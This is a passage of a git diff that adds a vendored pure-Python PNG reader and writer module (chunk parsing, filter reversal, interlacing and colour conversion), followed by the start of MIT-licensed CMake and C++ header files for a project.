the datatype does not have an implicit size, + like the above example where it is a plain Python list of lists, + then a default of 8 is used. + + The *info* parameter is a dictionary that can + be used to specify metadata (in the same style as + the arguments to the :class:`png.Writer` class). + For this function the keys that are useful are: + + height + overrides the height derived from the array dimensions and + allows *a* to be an iterable. + width + overrides the width derived from the array dimensions. + bitdepth + overrides the bit depth derived from the element datatype + (but must match *mode* if that also specifies a bit depth). + + Generally anything specified in the *info* dictionary will + override any implicit choices that this function would otherwise make, + but must match any explicit ones. + For example, if the *info* dictionary has a ``greyscale`` key then + this must be true when mode is ``'L'`` or ``'LA'`` and + false when mode is ``'RGB'`` or ``'RGBA'``. + """ + + # We abuse the *info* parameter by modifying it. Take a copy here. + # (Also typechecks *info* to some extent). + info = dict(info) + + # Syntax check mode string. + match = RegexModeDecode.match(mode) + if not match: + raise Error("mode string should be 'RGB' or 'L;16' or similar.") + + mode, bitdepth = match.groups() + if bitdepth: + bitdepth = int(bitdepth) + + # Colour format. + if 'greyscale' in info: + if bool(info['greyscale']) != ('L' in mode): + raise Error("info['greyscale'] should match mode.") + info['greyscale'] = 'L' in mode + + alpha = 'A' in mode + if 'alpha' in info: + if bool(info['alpha']) != alpha: + raise Error("info['alpha'] should match mode.") + info['alpha'] = alpha + + # Get bitdepth from *mode* if possible. + if bitdepth: + if info.get("bitdepth") and bitdepth != info['bitdepth']: + raise Error( + "bitdepth (%d) should match bitdepth of info (%d)." % + (bitdepth, info['bitdepth'])) + info['bitdepth'] = bitdepth + + # Fill in and/or check entries in *info*. + # Dimensions. + if 'size' in info: + assert len(info["size"]) == 2 + + # Check width, height, size all match where used. + for dimension, axis in [('width', 0), ('height', 1)]: + if dimension in info: + if info[dimension] != info['size'][axis]: + raise Error( + "info[%r] should match info['size'][%r]." % + (dimension, axis)) + info['width'], info['height'] = info['size'] + + if 'height' not in info: + try: + info['height'] = len(a) + except TypeError: + raise Error("len(a) does not work, supply info['height'] instead.") + + planes = len(mode) + if 'planes' in info: + if info['planes'] != planes: + raise Error("info['planes'] should match mode.") + + # In order to work out whether we the array is 2D or 3D we need its + # first row, which requires that we take a copy of its iterator. + # We may also need the first row to derive width and bitdepth. + a, t = itertools.tee(a) + row = next(t) + del t + + testelement = row + if 'width' not in info: + width = len(row) // planes + info['width'] = width + + if 'bitdepth' not in info: + try: + dtype = testelement.dtype + # goto the "else:" clause. Sorry. + except AttributeError: + try: + # Try a Python array.array. + bitdepth = 8 * testelement.itemsize + except AttributeError: + # We can't determine it from the array element's datatype, + # use a default of 8. + bitdepth = 8 + else: + # If we got here without exception, + # we now assume that the array is a numpy array. + if dtype.kind == 'b': + bitdepth = 1 + else: + bitdepth = 8 * dtype.itemsize + info['bitdepth'] = bitdepth + + for thing in ["width", "height", "bitdepth", "greyscale", "alpha"]: + assert thing in info + + return Image(a, info) + + +# So that refugee's from PIL feel more at home. Not documented. +fromarray = from_array + + +class Image: + """A PNG image. You can create an :class:`Image` object from + an array of pixels by calling :meth:`png.from_array`. It can be + saved to disk with the :meth:`save` method. + """ + + def __init__(self, rows, info): + """ + .. note :: + + The constructor is not public. Please do not call it. + """ + + self.rows = rows + self.info = info + + def save(self, file): + """Save the image to *file*. If *file* looks like an open file + descriptor then it is used, otherwise it is treated as a + filename and a fresh file is opened. + + In general, you can only call this method once; after it has + been called the first time and the PNG image has been saved, the + source data will have been streamed, and cannot be streamed + again. + """ + + w = Writer(**self.info) + + try: + file.write + + def close(): + pass + except AttributeError: + file = open(file, 'wb') + + def close(): + file.close() + + try: + w.write(file, self.rows) + finally: + close() + + +class Reader: + """ + Pure Python PNG decoder in pure Python. + """ + + def __init__(self, _guess=None, **kw): + """ + The constructor expects exactly one keyword argument. + If you supply a positional argument instead, + it will guess the input type. + Choose from the following keyword arguments: + + filename + Name of input file (a PNG file). + file + A file-like object (object with a read() method). + bytes + ``bytes`` or ``bytearray`` with PNG data. + + """ + if ((_guess is not None and len(kw) != 0) or + (_guess is None and len(kw) != 1)): + raise TypeError("Reader() takes exactly 1 argument") + + # Will be the first 8 bytes, later on. See validate_signature. + self.signature = None + self.transparent = None + # A pair of (len,type) if a chunk has been read but its data and + # checksum have not (in other words the file position is just + # past the 4 bytes that specify the chunk type). + # See preamble method for how this is used. + self.atchunk = None + + if _guess is not None: + if isarray(_guess): + kw["bytes"] = _guess + elif isinstance(_guess, str): + kw["filename"] = _guess + elif hasattr(_guess, 'read'): + kw["file"] = _guess + + if "filename" in kw: + self.file = open(kw["filename"], "rb") + elif "file" in kw: + self.file = kw["file"] + elif "bytes" in kw: + self.file = io.BytesIO(kw["bytes"]) + else: + raise TypeError("expecting filename, file or bytes array") + + def chunk(self, lenient=False): + """ + Read the next PNG chunk from the input file; + returns a (*type*, *data*) tuple. + *type* is the chunk's type as a byte string + (all PNG chunk types are 4 bytes long). + *data* is the chunk's data content, as a byte string. + + If the optional `lenient` argument evaluates to `True`, + checksum failures will raise warnings rather than exceptions. + """ + + self.validate_signature() + + # http://www.w3.org/TR/PNG/#5Chunk-layout + if not self.atchunk: + self.atchunk = self._chunk_len_type() + length, type = self.atchunk + self.atchunk = None + data = self.file.read(length) + if len(data) != length: + raise ChunkError( + 'Chunk %s too short for required %i octets.' + % (type, length)) + checksum = self.file.read(4) + if len(checksum) != 4: + raise ChunkError('Chunk %s too short for checksum.' % type) + verify = zlib.crc32(type) + verify = zlib.crc32(data, verify) + # Whether the output from zlib.crc32 is signed or not varies + # according to hideous implementation details, see + # http://bugs.python.org/issue1202 . + # We coerce it to be positive here (in a way which works on + # Python 2.3 and older). + verify &= 2**32 - 1 + verify = struct.pack('!I', verify) + if checksum != verify: + (a, ) = struct.unpack('!I', checksum) + (b, ) = struct.unpack('!I', verify) + message = ("Checksum error in %s chunk: 0x%08X != 0x%08X." + % (type, a, b)) + if lenient: + warnings.warn(message, RuntimeWarning) + else: + raise ChunkError(message) + return type, data + + def chunks(self): + """Return an iterator that will yield each chunk as a + (*chunktype*, *content*) pair. + """ + + while True: + t, v = self.chunk() + yield t, v + if t == b'IEND': + break + + def undo_filter(self, filter_type, scanline, previous): + """ + Undo the filter for a scanline. + `scanline` is a sequence of bytes that + does not include the initial filter type byte. + `previous` is decoded previous scanline + (for straightlaced images this is the previous pixel row, + but for interlaced images, it is + the previous scanline in the reduced image, + which in general is not the previous pixel row in the final image). + When there is no previous scanline + (the first row of a straightlaced image, + or the first row in one of the passes in an interlaced image), + then this argument should be ``None``. + + The scanline will have the effects of filtering removed; + the result will be returned as a fresh sequence of bytes. + """ + + # :todo: Would it be better to update scanline in place? + result = scanline + + if filter_type == 0: + return result + + if filter_type not in (1, 2, 3, 4): + raise FormatError( + 'Invalid PNG Filter Type. ' + 'See http://www.w3.org/TR/2003/REC-PNG-20031110/#9Filters .') + + # Filter unit. The stride from one pixel to the corresponding + # byte from the previous pixel. Normally this is the pixel + # size in bytes, but when this is smaller than 1, the previous + # byte is used instead. + fu = max(1, self.psize) + + # For the first line of a pass, synthesize a dummy previous + # line. An alternative approach would be to observe that on the + # first line 'up' is the same as 'null', 'paeth' is the same + # as 'sub', with only 'average' requiring any special case. + if not previous: + previous = bytearray([0] * len(scanline)) + + # Call appropriate filter algorithm. Note that 0 has already + # been dealt with. + fn = (None, + undo_filter_sub, + undo_filter_up, + undo_filter_average, + undo_filter_paeth)[filter_type] + fn(fu, scanline, previous, result) + return result + + def _deinterlace(self, raw): + """ + Read raw pixel data, undo filters, deinterlace, and flatten. + Return a single array of values. + """ + + # Values per row (of the target image) + vpr = self.width * self.planes + + # Values per image + vpi = vpr * self.height + # Interleaving writes to the output array randomly + # (well, not quite), so the entire output array must be in memory. + # Make a result array, and make it big enough. + if self.bitdepth > 8: + a = array('H', [0] * vpi) + else: + a = bytearray([0] * vpi) + source_offset = 0 + + for lines in adam7_generate(self.width, self.height): + # The previous (reconstructed) scanline. + # `None` at the beginning of a pass + # to indicate that there is no previous line. + recon = None + for x, y, xstep in lines: + # Pixels per row (reduced pass image) + ppr = int(math.ceil((self.width - x) / float(xstep))) + # Row size in bytes for this pass. + row_size = int(math.ceil(self.psize * ppr)) + + filter_type = raw[source_offset] + source_offset += 1 + scanline = raw[source_offset: source_offset + row_size] + source_offset += row_size + recon = self.undo_filter(filter_type, scanline, recon) + # Convert so that there is one element per pixel value + flat = self._bytes_to_values(recon, width=ppr) + if xstep == 1: + assert x == 0 + offset = y * vpr + a[offset: offset + vpr] = flat + else: + offset = y * vpr + x * self.planes + end_offset = (y + 1) * vpr + skip = self.planes * xstep + for i in range(self.planes): + a[offset + i: end_offset: skip] = \ + flat[i:: self.planes] + + return a + + def _iter_bytes_to_values(self, byte_rows): + """ + Iterator that yields each scanline; + each scanline being a sequence of values. + `byte_rows` should be an iterator that yields + the bytes of each row in turn. + """ + + for row in byte_rows: + yield self._bytes_to_values(row) + + def _bytes_to_values(self, bs, width=None): + """Convert a packed row of bytes into a row of values. + Result will be a freshly allocated object, + not shared with the argument. + """ + + if self.bitdepth == 8: + return bytearray(bs) + if self.bitdepth == 16: + return array('H', + struct.unpack('!%dH' % (len(bs) // 2), bs)) + + assert self.bitdepth < 8 + if width is None: + width = self.width + # Samples per byte + spb = 8 // self.bitdepth + out = bytearray() + mask = 2**self.bitdepth - 1 + shifts = [self.bitdepth * i + for i in reversed(list(range(spb)))] + for o in bs: + out.extend([mask & (o >> i) for i in shifts]) + return out[:width] + + def _iter_straight_packed(self, byte_blocks): + """Iterator that undoes the effect of filtering; + yields each row as a sequence of packed bytes. + Assumes input is straightlaced. + `byte_blocks` should be an iterable that yields the raw bytes + in blocks of arbitrary size. + """ + + # length of row, in bytes + rb = self.row_bytes + a = bytearray() + # The previous (reconstructed) scanline. + # None indicates first line of image. + recon = None + for some_bytes in byte_blocks: + a.extend(some_bytes) + while len(a) >= rb + 1: + filter_type = a[0] + scanline = a[1: rb + 1] + del a[: rb + 1] + recon = self.undo_filter(filter_type, scanline, recon) + yield recon + if len(a) != 0: + # :file:format We get here with a file format error: + # when the available bytes (after decompressing) do not + # pack into exact rows. + raise FormatError('Wrong size for decompressed IDAT chunk.') + assert len(a) == 0 + + def validate_signature(self): + """If signature (header) has not been read then read and + validate it; otherwise do nothing. + """ + + if self.signature: + return + self.signature = self.file.read(8) + if self.signature != signature: + raise FormatError("PNG file has invalid signature.") + + def preamble(self, lenient=False): + """ + Extract the image metadata by reading the initial part of + the PNG file up to the start of the ``IDAT`` chunk. All the + chunks that precede the ``IDAT`` chunk are read and either + processed for metadata or discarded. + + If the optional `lenient` argument evaluates to `True`, checksum + failures will raise warnings rather than exceptions. + """ + + self.validate_signature() + + while True: + if not self.atchunk: + self.atchunk = self._chunk_len_type() + if self.atchunk is None: + raise FormatError('This PNG file has no IDAT chunks.') + if self.atchunk[1] == b'IDAT': + return + self.process_chunk(lenient=lenient) + + def _chunk_len_type(self): + """ + Reads just enough of the input to + determine the next chunk's length and type; + return a (*length*, *type*) pair where *type* is a byte sequence. + If there are no more chunks, ``None`` is returned. + """ + + x = self.file.read(8) + if not x: + return None + if len(x) != 8: + raise FormatError( + 'End of file whilst reading chunk length and type.') + length, type = struct.unpack('!I4s', x) + if length > 2 ** 31 - 1: + raise FormatError('Chunk %s is too large: %d.' % (type, length)) + return length, type + + def process_chunk(self, lenient=False): + """Process the next chunk and its data. This only processes the + following chunk types, all others are ignored: ``IHDR``, + ``PLTE``, ``bKGD``, ``tRNS``, ``gAMA``, ``sBIT``, ``pHYs``. + + If the optional `lenient` argument evaluates to `True`, + checksum failures will raise warnings rather than exceptions. + """ + + type, data = self.chunk(lenient=lenient) + method = '_process_' + type.decode('ascii') + m = getattr(self, method, None) + if m: + m(data) + + def _process_IHDR(self, data): + # http://www.w3.org/TR/PNG/#11IHDR + if len(data) != 13: + raise FormatError('IHDR chunk has incorrect length.') + (self.width, self.height, self.bitdepth, self.color_type, + self.compression, self.filter, + self.interlace) = struct.unpack("!2I5B", data) + + check_bitdepth_colortype(self.bitdepth, self.color_type) + + if self.compression != 0: + raise Error("unknown compression method %d" % self.compression) + if self.filter != 0: + raise FormatError( + "Unknown filter method %d," + " see http://www.w3.org/TR/2003/REC-PNG-20031110/#9Filters ." + % self.filter) + if self.interlace not in (0, 1): + raise FormatError( + "Unknown interlace method %d, see " + "http://www.w3.org/TR/2003/REC-PNG-20031110/#8InterlaceMethods" + " ." + % self.interlace) + + # Derived values + # http://www.w3.org/TR/PNG/#6Colour-values + colormap = bool(self.color_type & 1) + greyscale = not(self.color_type & 2) + alpha = bool(self.color_type & 4) + color_planes = (3, 1)[greyscale or colormap] + planes = color_planes + alpha + + self.colormap = colormap + self.greyscale = greyscale + self.alpha = alpha + self.color_planes = color_planes + self.planes = planes + self.psize = float(self.bitdepth) / float(8) * planes + if int(self.psize) == self.psize: + self.psize = int(self.psize) + self.row_bytes = int(math.ceil(self.width * self.psize)) + # Stores PLTE chunk if present, and is used to check + # chunk ordering constraints. + self.plte = None + # Stores tRNS chunk if present, and is used to check chunk + # ordering constraints. + self.trns = None + # Stores sBIT chunk if present. + self.sbit = None + + def _process_PLTE(self, data): + # http://www.w3.org/TR/PNG/#11PLTE + if self.plte: + warnings.warn("Multiple PLTE chunks present.") + self.plte = data + if len(data) % 3 != 0: + raise FormatError( + "PLTE chunk's length should be a multiple of 3.") + if len(data) > (2 ** self.bitdepth) * 3: + raise FormatError("PLTE chunk is too long.") + if len(data) == 0: + raise FormatError("Empty PLTE is not allowed.") + + def _process_bKGD(self, data): + try: + if self.colormap: + if not self.plte: + warnings.warn( + "PLTE chunk is required before bKGD chunk.") + self.background = struct.unpack('B', data) + else: + self.background = struct.unpack("!%dH" % self.color_planes, + data) + except struct.error: + raise FormatError("bKGD chunk has incorrect length.") + + def _process_tRNS(self, data): + # http://www.w3.org/TR/PNG/#11tRNS + self.trns = data + if self.colormap: + if not self.plte: + warnings.warn("PLTE chunk is required before tRNS chunk.") + else: + if len(data) > len(self.plte) / 3: + # Was warning, but promoted to Error as it + # would otherwise cause pain later on. + raise FormatError("tRNS chunk is too long.") + else: + if self.alpha: + raise FormatError( + "tRNS chunk is not valid with colour type %d." % + self.color_type) + try: + self.transparent = \ + struct.unpack("!%dH" % self.color_planes, data) + except struct.error: + raise FormatError("tRNS chunk has incorrect length.") + + def _process_gAMA(self, data): + try: + self.gamma = struct.unpack("!L", data)[0] / 100000.0 + except struct.error: + raise FormatError("gAMA chunk has incorrect length.") + + def _process_sBIT(self, data): + self.sbit = data + if (self.colormap and len(data) != 3 or + not self.colormap and len(data) != self.planes): + raise FormatError("sBIT chunk has incorrect length.") + + def _process_pHYs(self, data): + # http://www.w3.org/TR/PNG/#11pHYs + self.phys = data + fmt = "!LLB" + if len(data) != struct.calcsize(fmt): + raise FormatError("pHYs chunk has incorrect length.") + self.x_pixels_per_unit, self.y_pixels_per_unit, unit = \ + struct.unpack(fmt, data) + self.unit_is_meter = bool(unit) + + def read(self, lenient=False): + """ + Read the PNG file and decode it. Returns (`width`, `height`, + `rows`, `metadata`). + + May use excessive memory. + + `rows` is a sequence of rows; + each row is a sequence of values. + + If the optional `lenient` argument evaluates to True, + checksum failures will raise warnings rather than exceptions. + """ + + def iteridat(): + """Iterator that yields all the ``IDAT`` chunks as strings.""" + while True: + try: + type, data = self.chunk(lenient=lenient) + except ValueError as e: + raise ChunkError(e.args[0]) + if type == b'IEND': + # http://www.w3.org/TR/PNG/#11IEND + break + if type != b'IDAT': + continue + # type == b'IDAT' + # http://www.w3.org/TR/PNG/#11IDAT + if self.colormap and not self.plte: + warnings.warn("PLTE chunk is required before IDAT chunk") + yield data + + self.preamble(lenient=lenient) + raw = decompress(iteridat()) + + if self.interlace: + def rows_from_interlace(): + """Yield each row from an interlaced PNG.""" + # It's important that this iterator doesn't read + # IDAT chunks until it yields the first row. + bs = bytearray(itertools.chain(*raw)) + arraycode = 'BH'[self.bitdepth > 8] + # Like :meth:`group` but + # producing an array.array object for each row. + values = self._deinterlace(bs) + vpr = self.width * self.planes + for i in range(0, len(values), vpr): + row = array(arraycode, values[i:i+vpr]) + yield row + rows = rows_from_interlace() + else: + rows = self._iter_bytes_to_values(self._iter_straight_packed(raw)) + meta = dict() + for attr in 'greyscale alpha planes bitdepth interlace'.split(): + meta[attr] = getattr(self, attr) + meta['size'] = (self.width, self.height) + for attr in 'gamma transparent background'.split(): + a = getattr(self, attr, None) + if a is not None: + meta[attr] = a + if getattr(self, 'x_pixels_per_unit', None): + meta['physical'] = Resolution(self.x_pixels_per_unit, + self.y_pixels_per_unit, + self.unit_is_meter) + if self.plte: + meta['palette'] = self.palette() + return self.width, self.height, rows, meta + + def read_flat(self): + """ + Read a PNG file and decode it into a single array of values. + Returns (*width*, *height*, *values*, *metadata*). + + May use excessive memory. + + `values` is a single array. + + The :meth:`read` method is more stream-friendly than this, + because it returns a sequence of rows. + """ + + x, y, pixel, meta = self.read() + arraycode = 'BH'[meta['bitdepth'] > 8] + pixel = array(arraycode, itertools.chain(*pixel)) + return x, y, pixel, meta + + def palette(self, alpha='natural'): + """ + Returns a palette that is a sequence of 3-tuples or 4-tuples, + synthesizing it from the ``PLTE`` and ``tRNS`` chunks. + These chunks should have already been processed (for example, + by calling the :meth:`preamble` method). + All the tuples are the same size: + 3-tuples if there is no ``tRNS`` chunk, + 4-tuples when there is a ``tRNS`` chunk. + + Assumes that the image is colour type + 3 and therefore a ``PLTE`` chunk is required. + + If the `alpha` argument is ``'force'`` then an alpha channel is + always added, forcing the result to be a sequence of 4-tuples. + """ + + if not self.plte: + raise FormatError( + "Required PLTE chunk is missing in colour type 3 image.") + plte = group(array('B', self.plte), 3) + if self.trns or alpha == 'force': + trns = array('B', self.trns or []) + trns.extend([255] * (len(plte) - len(trns))) + plte = list(map(operator.add, plte, group(trns, 1))) + return plte + + def asDirect(self): + """ + Returns the image data as a direct representation of + an ``x * y * planes`` array. + This removes the need for callers to deal with + palettes and transparency themselves. + Images with a palette (colour type 3) are converted to RGB or RGBA; + images with transparency (a ``tRNS`` chunk) are converted to + LA or RGBA as appropriate. + When returned in this format the pixel values represent + the colour value directly without needing to refer + to palettes or transparency information. + + Like the :meth:`read` method this method returns a 4-tuple: + + (*width*, *height*, *rows*, *info*) + + This method normally returns pixel values with + the bit depth they have in the source image, but + when the source PNG has an ``sBIT`` chunk it is inspected and + can reduce the bit depth of the result pixels; + pixel values will be reduced according to the bit depth + specified in the ``sBIT`` chunk. + PNG nerds should note a single result bit depth is + used for all channels: + the maximum of the ones specified in the ``sBIT`` chunk. + An RGB565 image will be rescaled to 6-bit RGB666. + + The *info* dictionary that is returned reflects + the `direct` format and not the original source image. + For example, an RGB source image with a ``tRNS`` chunk + to represent a transparent colour, + will start with ``planes=3`` and ``alpha=False`` for the + source image, + but the *info* dictionary returned by this method + will have ``planes=4`` and ``alpha=True`` because + an alpha channel is synthesized and added. + + *rows* is a sequence of rows; + each row being a sequence of values + (like the :meth:`read` method). + + All the other aspects of the image data are not changed. + """ + + self.preamble() + + # Simple case, no conversion necessary. + if not self.colormap and not self.trns and not self.sbit: + return self.read() + + x, y, pixels, info = self.read() + + if self.colormap: + info['colormap'] = False + info['alpha'] = bool(self.trns) + info['bitdepth'] = 8 + info['planes'] = 3 + bool(self.trns) + plte = self.palette() + + def iterpal(pixels): + for row in pixels: + row = [plte[x] for x in row] + yield array('B', itertools.chain(*row)) + pixels = iterpal(pixels) + elif self.trns: + # It would be nice if there was some reasonable way + # of doing this without generating a whole load of + # intermediate tuples. But tuples does seem like the + # easiest way, with no other way clearly much simpler or + # much faster. (Actually, the L to LA conversion could + # perhaps go faster (all those 1-tuples!), but I still + # wonder whether the code proliferation is worth it) + it = self.transparent + maxval = 2 ** info['bitdepth'] - 1 + planes = info['planes'] + info['alpha'] = True + info['planes'] += 1 + typecode = 'BH'[info['bitdepth'] > 8] + + def itertrns(pixels): + for row in pixels: + # For each row we group it into pixels, then form a + # characterisation vector that says whether each + # pixel is opaque or not. Then we convert + # True/False to 0/maxval (by multiplication), + # and add it as the extra channel. + row = group(row, planes) + opa = map(it.__ne__, row) + opa = map(maxval.__mul__, opa) + opa = list(zip(opa)) # convert to 1-tuples + yield array( + typecode, + itertools.chain(*map(operator.add, row, opa))) + pixels = itertrns(pixels) + targetbitdepth = None + if self.sbit: + sbit = struct.unpack('%dB' % len(self.sbit), self.sbit) + targetbitdepth = max(sbit) + if targetbitdepth > info['bitdepth']: + raise Error('sBIT chunk %r exceeds bitdepth %d' % + (sbit, self.bitdepth)) + if min(sbit) <= 0: + raise Error('sBIT chunk %r has a 0-entry' % sbit) + if targetbitdepth: + shift = info['bitdepth'] - targetbitdepth + info['bitdepth'] = targetbitdepth + + def itershift(pixels): + for row in pixels: + yield [p >> shift for p in row] + pixels = itershift(pixels) + return x, y, pixels, info + + def _as_rescale(self, get, targetbitdepth): + """Helper used by :meth:`asRGB8` and :meth:`asRGBA8`.""" + + width, height, pixels, meta = get() + maxval = 2**meta['bitdepth'] - 1 + targetmaxval = 2**targetbitdepth - 1 + factor = float(targetmaxval) / float(maxval) + meta['bitdepth'] = targetbitdepth + + def iterscale(): + for row in pixels: + yield [int(round(x * factor)) for x in row] + if maxval == targetmaxval: + return width, height, pixels, meta + else: + return width, height, iterscale(), meta + + def asRGB8(self): + """Return the image data as an RGB pixels with 8-bits per + sample. This is like the :meth:`asRGB` method except that + this method additionally rescales the values so that they + are all between 0 and 255 (8-bit). In the case where the + source image has a bit depth < 8 the transformation preserves + all the information; where the source image has bit depth + > 8, then rescaling to 8-bit values loses precision. No + dithering is performed. Like :meth:`asRGB`, an alpha channel + in the source image will raise an exception. + + This function returns a 4-tuple: + (*width*, *height*, *rows*, *info*). + *width*, *height*, *info* are as per the :meth:`read` method. + + *rows* is the pixel data as a sequence of rows. + """ + + return self._as_rescale(self.asRGB, 8) + + def asRGBA8(self): + """Return the image data as RGBA pixels with 8-bits per + sample. This method is similar to :meth:`asRGB8` and + :meth:`asRGBA`: The result pixels have an alpha channel, *and* + values are rescaled to the range 0 to 255. The alpha channel is + synthesized if necessary (with a small speed penalty). + """ + + return self._as_rescale(self.asRGBA, 8) + + def asRGB(self): + """Return image as RGB pixels. RGB colour images are passed + through unchanged; greyscales are expanded into RGB + triplets (there is a small speed overhead for doing this). + + An alpha channel in the source image will raise an exception. + + The return values are as for the :meth:`read` method except that + the *info* reflect the returned pixels, not the source image. + In particular, + for this method ``info['greyscale']`` will be ``False``. + """ + + width, height, pixels, info = self.asDirect() + if info['alpha']: + raise Error("will not convert image with alpha channel to RGB") + if not info['greyscale']: + return width, height, pixels, info + info['greyscale'] = False + info['planes'] = 3 + + if info['bitdepth'] > 8: + def newarray(): + return array('H', [0]) + else: + def newarray(): + return bytearray([0]) + + def iterrgb(): + for row in pixels: + a = newarray() * 3 * width + for i in range(3): + a[i::3] = row + yield a + return width, height, iterrgb(), info + + def asRGBA(self): + """ + Return image as RGBA pixels. + Greyscales are expanded into RGB triplets; + an alpha channel is synthesized if necessary. + The return values are as for the :meth:`read` method except that + the *info* reflect the returned pixels, not the source image. + In particular, for this method + ``info['greyscale']`` will be ``False``, and + ``info['alpha']`` will be ``True``. + """ + + width, height, pixels, info = self.asDirect() + if info['alpha'] and not info['greyscale']: + return width, height, pixels, info + typecode = 'BH'[info['bitdepth'] > 8] + maxval = 2**info['bitdepth'] - 1 + maxbuffer = struct.pack('=' + typecode, maxval) * 4 * width + + if info['bitdepth'] > 8: + def newarray(): + return array('H', maxbuffer) + else: + def newarray(): + return bytearray(maxbuffer) + + if info['alpha'] and info['greyscale']: + # LA to RGBA + def convert(): + for row in pixels: + # Create a fresh target row, then copy L channel + # into first three target channels, and A channel + # into fourth channel. + a = newarray() + convert_la_to_rgba(row, a) + yield a + elif info['greyscale']: + # L to RGBA + def convert(): + for row in pixels: + a = newarray() + convert_l_to_rgba(row, a) + yield a + else: + assert not info['alpha'] and not info['greyscale'] + # RGB to RGBA + + def convert(): + for row in pixels: + a = newarray() + convert_rgb_to_rgba(row, a) + yield a + info['alpha'] = True + info['greyscale'] = False + info['planes'] = 4 + return width, height, convert(), info + + +def decompress(data_blocks): + """`data_blocks` should be an iterable that yields the + compressed data (from the ``IDAT`` chunks). + This yields decompressed byte strings. + """ + + # Currently, with no max_length parameter to decompress, + # this routine will do one yield per IDAT chunk: Not very + # incremental. + d = zlib.decompressobj() + # Each IDAT chunk is passed to the decompressor, then any + # remaining state is decompressed out. + for data in data_blocks: + # :todo: add a max_length argument here to limit output size. + yield bytearray(d.decompress(data)) + yield bytearray(d.flush()) + + +def check_bitdepth_colortype(bitdepth, colortype): + """Check that `bitdepth` and `colortype` are both valid, + and specified in a valid combination. Returns if valid, + raise an Exception if not valid. + """ + + if bitdepth not in (1, 2, 4, 8, 16): + raise FormatError("invalid bit depth %d" % bitdepth) + if colortype not in (0, 2, 3, 4, 6): + raise FormatError("invalid colour type %d" % colortype) + # Check indexed (palettized) images have 8 or fewer bits + # per pixel; check only indexed or greyscale images have + # fewer than 8 bits per pixel. + if colortype & 1 and bitdepth > 8: + raise FormatError( + "Indexed images (colour type %d) cannot" + " have bitdepth > 8 (bit depth %d)." + " See http://www.w3.org/TR/2003/REC-PNG-20031110/#table111 ." + % (bitdepth, colortype)) + if bitdepth < 8 and colortype not in (0, 3): + raise FormatError( + "Illegal combination of bit depth (%d)" + " and colour type (%d)." + " See http://www.w3.org/TR/2003/REC-PNG-20031110/#table111 ." + % (bitdepth, colortype)) + + +def is_natural(x): + """A non-negative integer.""" + try: + is_integer = int(x) == x + except (TypeError, ValueError): + return False + return is_integer and x >= 0 + + +def undo_filter_sub(filter_unit, scanline, previous, result): + """Undo sub filter.""" + + ai = 0 + # Loops starts at index fu. Observe that the initial part + # of the result is already filled in correctly with + # scanline. + for i in range(filter_unit, len(result)): + x = scanline[i] + a = result[ai] + result[i] = (x + a) & 0xff + ai += 1 + + +def undo_filter_up(filter_unit, scanline, previous, result): + """Undo up filter.""" + + for i in range(len(result)): + x = scanline[i] + b = previous[i] + result[i] = (x + b) & 0xff + + +def undo_filter_average(filter_unit, scanline, previous, result): + """Undo up filter.""" + + ai = -filter_unit + for i in range(len(result)): + x = scanline[i] + if ai < 0: + a = 0 + else: + a = result[ai] + b = previous[i] + result[i] = (x + ((a + b) >> 1)) & 0xff + ai += 1 + + +def undo_filter_paeth(filter_unit, scanline, previous, result): + """Undo Paeth filter.""" + + # Also used for ci. + ai = -filter_unit + for i in range(len(result)): + x = scanline[i] + if ai < 0: + a = c = 0 + else: + a = result[ai] + c = previous[ai] + b = previous[i] + p = a + b - c + pa = abs(p - a) + pb = abs(p - b) + pc = abs(p - c) + if pa <= pb and pa <= pc: + pr = a + elif pb <= pc: + pr = b + else: + pr = c + result[i] = (x + pr) & 0xff + ai += 1 + + +def convert_la_to_rgba(row, result): + for i in range(3): + result[i::4] = row[0::2] + result[3::4] = row[1::2] + + +def convert_l_to_rgba(row, result): + """Convert a grayscale image to RGBA. This method assumes + the alpha channel in result is already correctly + initialized. + """ + for i in range(3): + result[i::4] = row + + +def convert_rgb_to_rgba(row, result): + """Convert an RGB image to RGBA. This method assumes the + alpha channel in result is already correctly initialized. + """ + for i in range(3): + result[i::4] = row[i::3] diff --git a/src/CMakeLists.txt b/src/CMakeLists.txt new file mode 100644 index 0000000..56332c6 --- /dev/null +++ b/src/CMakeLists.txt @@ -0,0 +1,26 @@ +# +# MIT License +# +# Copyright (c) 2019 Rokas Kupstys +# +# Permission is hereby granted, free of charge, to any person obtaining a +# copy of this software and associated documentation files (the "Software"), +# to deal in the Software without restriction, including without limitation +# the rights to use, copy, modify, merge, publish, distribute, sublicense, +# and/or sell copies of the Software, and to permit persons to whom the +# Software is furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +# DEALINGS IN THE SOFTWARE. +# + +add_subdirectory(shared) +add_subdirectory(vr) diff --git a/src/config.h b/src/config.h new file mode 100644 index 0000000..f4308a2 --- /dev/null +++ b/src/config.h @@ -0,0 +1,43 @@ +// +// MIT License +// +// Copyright (c) 2019 Rokas Kupstys +// +// Permission is hereby granted, free of charge, to any person obtaining a +// copy of this software and associated documentation files (the "Software"), +// to deal in the Software without restriction, including without limitation +// the rights to use, copy, modify, merge, publish, distribute, sublicense, +// and/or sell copies of the Software, and to permit persons to whom the +// Software is furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +// DEALINGS IN THE SOFTWARE. +// +#pragma once + +inline unsigned operator "" _sec(unsigned 